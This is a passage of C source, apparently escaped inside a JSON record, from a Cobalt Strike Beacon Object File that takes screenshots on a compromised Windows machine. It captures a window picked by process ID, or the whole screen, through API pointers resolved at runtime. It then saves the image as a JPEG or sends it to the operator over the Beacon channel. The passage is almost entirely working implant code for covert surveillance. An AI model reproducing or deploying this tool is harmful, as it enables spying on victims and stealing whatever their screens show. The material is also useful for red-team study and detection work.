BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Failed to create compatible bitmap\");\n            goto cleanup;\n        }\n        pSelectObject(hdcMem, hBitmap);\n        success = pPrintWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT);\n        if (!success) {\n            if (debug)\n                BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] PrintWindow failed; falling back to BitBlt\");\n            success = pBitBlt(hdcMem, 0, 0, width, height,\n                hdcScreen, captureRect.left, captureRect.top, SRCCOPY);\n            if (!success)\n                BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Both PrintWindow and BitBlt failed\");\n        }\n        /* Restore window state */\n        pShowWindow(hwnd, SW_MINIMIZE);\n        pSetWindowLongA(hwnd, GWL_EXSTYLE, exStyle);\n        pSetWindowPos(hwnd, NULL, 0, 0, 0, 0,\n            SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);\n    }\n    else {\n        if (!pGetWindowRect(hwnd, &captureRect)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GetWindowRect failed\");\n            goto cleanup;\n        }\n        width = captureRect.right - captureRect.left;\n        height = captureRect.bottom - captureRect.top;\n        if (debug)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Window dimensions: %d x %d\", width, height);\n        if (width <= 0 || height <= 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Invalid window dimensions\");\n            goto cleanup;\n        }\n        hBitmap = pCreateCompatibleBitmap(hdcScreen, width, height);\n        if (!hBitmap) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Failed to create compatible bitmap\");\n            goto cleanup;\n        }\n        pSelectObject(hdcMem, hBitmap);\n\n        /* Attempt to use PrintWindow to capture the full contents,\n           even if the window is in the background */\n        success = pPrintWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT);\n        if (!success) {\n            if (debug)\n                BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] PrintWindow failed; falling back to BitBlt\");\n            success = pBitBlt(hdcMem, 0, 0, width, height,\n                hdcScreen, captureRect.left, captureRect.top, SRCCOPY);\n            if (!success)\n                BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Both PrintWindow and BitBlt failed\");\n        }\n    }\n\ncleanup:\n    if (hdcMem)\n        pDeleteDC(hdcMem);\n    if (hdcScreen)\n        pReleaseDC(NULL, hdcScreen);\n    if (!success) {\n        if (hBitmap)\n            pDeleteObject(hBitmap);\n        if (debug)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] CaptureWindow failed\");\n        return NULL;\n    }\n    if (debug)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] CaptureWindow succeeded\");\n    return hBitmap;\n}\n\n//-------------------------------------------------------------\n// go:\n// BOF args:\n//   1. Filename \n//   2. Save method: 0 = save to disk, 1 = download via Beacon, 2 = downloadScreenshot.\n//   3. PID: if nonzero, capture that window; if zero, capture the full screen.\n//-------------------------------------------------------------\n#ifdef BOF\nint debug = 0; // enable debugging prints\nvoid go(char* buff, int len)\n{\n    ResolveAPIs();  // Ensure API pointers are resolved\n\n    datap parser;\n    BeaconDataParse(&parser, buff, len);\n\n    char* filename = BeaconDataExtract(&parser, NULL);\n    int savemethod = BeaconDataInt(&parser);\n    int pid = BeaconDataInt(&parser);\n    int grayscale = BeaconDataInt(&parser);\n    int quality = BeaconDataInt(&parser);\n    int scale = BeaconDataInt(&parser);\n    if (quality < 0) quality = 0;\n    if (quality > 100) quality = 100;\n    if (scale < 1) scale = 100;\n    if (scale > 1000) scale = 1000; // cap to prevent huge allocations\n\n    if (debug)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] go() called with filename: %s, savemethod: %d, pid: %d, grayscale: %d, quality: %d, scale: %d, debug: %d\", filename, savemethod, pid, grayscale, quality, scale, debug);\n    \n    BOOL dpi = SetProcessDPIAware(); // Set DPI awareness to fix incomplete screenshots\n    \n    HBITMAP hBitmap = NULL;\n    if (pid != 0) {\n        if (debug)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Attempting to capture window for PID %d\", pid);\n        HWND hwnd = FindWindowByPID((DWORD)pid, debug);\n        if (hwnd == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Window with PID %d not found\", pid);\n            return;\n        }\n        hBitmap = CaptureWindow(hwnd, debug);\n        if (hBitmap == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Failed to capture window with PID %d\", pid);\n            return;\n        }\n    }\n    else {\n        if (debug)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Capturing full screen\");\n        int x1 = pGetSystemMetrics(SM_XVIRTUALSCREEN);\n        int y1 = pGetSystemMetrics(SM_YVIRTUALSCREEN);\n        int w = pGetSystemMetrics(SM_CXVIRTUALSCREEN);\n        int h = pGetSystemMetrics(SM_CYVIRTUALSCREEN);\n        HDC hScreen = pGetDC(NULL);\n        if (hScreen == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] pGetDC(NULL) returned NULL. Last error: %lu\", GetLastError());\n            return; \n        }\n        \n        HDC hDC = pCreateCompatibleDC(hScreen);\n        if (hDC == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] pCreateCompatibleDC failed. Last error: %lu\", GetLastError());\n            pReleaseDC(NULL, hScreen); \n            return;\n        }\n        hBitmap = pCreateCompatibleBitmap(hScreen, w, h);\n        if (!hBitmap) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Failed to create full screen bitmap\");\n            pReleaseDC(NULL, hScreen);\n            pDeleteDC(hDC);\n            return;\n        }\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] GetDC: %p\",hScreen);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] CreateCompatibleDC returned: %p\",hDC);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] CreateCompatibleBitmap returned: %p\",hBitmap);\n\n        HGDIOBJ old_obj = pSelectObject(hDC, hBitmap);\n        if (!pBitBlt(hDC, 0, 0, w, h, hScreen, x1, y1, SRCCOPY)) {\n            DWORD errorCode = GetLastError();\n            BeaconPrintf(CALLBACK_ERROR,\n                         \"[DEBUG] BitBlt failed for full screen capture. Error code: %lu\",\n                         errorCode);\n        \n\n            BeaconPrintf(CALLBACK_ERROR,\n                         \"[DEBUG] hDC: %p, hScreen: %p, old_obj: %p\",\n                         hDC, hScreen, old_obj);\n            BeaconPrintf(CALLBACK_ERROR,\n                         \"[DEBUG] Screen region: x1: %d, y1: %d, width: %d, height: %d\",\n                         x1, y1, w, h);\n        \n\n            if (hScreen == NULL) {\n                BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] hScreen is NULL (handle invalid)\");\n            } else {\n                DWORD flags = 0;\n                if (!pGetHandleInformation(hScreen, &flags)) {\n                    DWORD errorCode = GetLastError();\n                    BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] hScreen appears invalid (pGetHandleInformation failed) - Error code: %lu\",errorCode);\n                } else {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] hScreen is valid (flags: 0x%lx)\", flags);\n                }\n            }\n        \n            // Check hDC\n            if (hDC == NULL) {\n                BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] hDC is NULL (handle invalid)\");\n            } else {\n                DWORD flags = 0;\n                if (!pGetHandleInformation(hDC, &flags)) {\n                    BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] hDC appears invalid (pGetHandleInformation failed) - Error code: %lu\",errorCode);\n                } else {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] hDC is valid (flags: 0x%lx)\", flags);\n                }\n            }\n        }\n        pSelectObject(hDC, old_obj);\n        pDeleteDC(hDC);\n        pReleaseDC(NULL, hScreen);\n    }\n\n    if (hBitmap) {\n        if (debug)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Captured bitmap successfully; saving/downloading as %s\", filename);\n        if (!SaveHBITMAPToFile(hBitmap, filename, savemethod, grayscale, quality, scale))\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Failed to save JPEG\");\n        else\n            BeaconPrintf(CALLBACK_OUTPUT, \"Screenshot saved/downloaded successfully\", filename);\n        pDeleteObject(hBitmap);\n    }\n}\n#else\nvoid main(int argc, char* argv[])\n{\n    /* Non-BOF main() implementation (if needed) */\n}\n#endif"
  }
]